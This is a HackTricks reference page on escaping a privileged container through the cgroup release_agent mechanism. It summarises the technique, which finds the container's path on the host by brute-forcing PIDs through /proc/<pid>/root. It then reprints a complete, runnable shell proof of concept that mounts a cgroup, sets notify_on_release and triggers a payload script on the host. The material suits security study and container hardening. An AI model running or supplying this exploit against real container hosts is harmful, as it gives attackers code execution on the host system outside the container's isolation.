release_agent exploit - Relative Paths to PIDs - HackTricks

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

For further details check the blog port from https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. This is just a summary:

The technique outlines a method for executing host code from within a container, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.

Key steps:

1. Locating Process IDs (PIDs): Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
2. PID Bashing: A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
3. Triggering Execution: The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.

### Exploitation Process

The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:

1. Initialize Environment: A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
2. Prepare Payload: The payload script, which contains the commands to be executed on the host, is written and made executable.
3. Set Up Cgroup: The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
4. Brute Force PID: A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
5. Trigger and Check Execution: For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.

PoC from the blog post:

    #!/bin/sh

    OUTPUT_DIR="/"
    MAX_PID=65535
    CGROUP_NAME="xyx"
    CGROUP_MOUNT="/tmp/cgrp"
    PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
    PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
    OUTPUT_NAME="${CGROUP_NAME}_payload.out"
    OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

    # Run a process for which we can search for (not needed in reality, but nice to have)
    sleep 10000 &

    # Prepare the payload script to execute on the host
    cat > ${PAYLOAD_PATH} << __EOF__
    #!/bin/sh

    OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

    # Commands to run on the host<
    ps -eaf > \${OUTPATH} 2>&1
    __EOF__

    # Make the payload script executable
    chmod a+x ${PAYLOAD_PATH}

    # Set up the cgroup mount using the memory resource cgroup controller
    mkdir ${CGROUP_MOUNT}
    mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
    mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
    echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

    # Brute force the host pid until the output path is created, or we run out of guesses
    TPID=1
    while [ ! -f ${OUTPUT_PATH} ]
    do
      if [ $((${TPID} % 100)) -eq 0 ]
      then
        echo "Checking pid ${TPID}"
        if [ ${TPID} -gt ${MAX_PID} ]
        then
          echo "Exiting at ${MAX_PID} :-("
          exit 1
        fi
      fi
      # Set the release_agent path to the guessed pid
      echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
      # Trigger execution of the release_agent
      sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
      TPID=$((${TPID} + 1))
    done

    # Wait for and cat the output
    sleep 1
    echo "Done! Output:"
    cat ${OUTPUT_PATH}

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.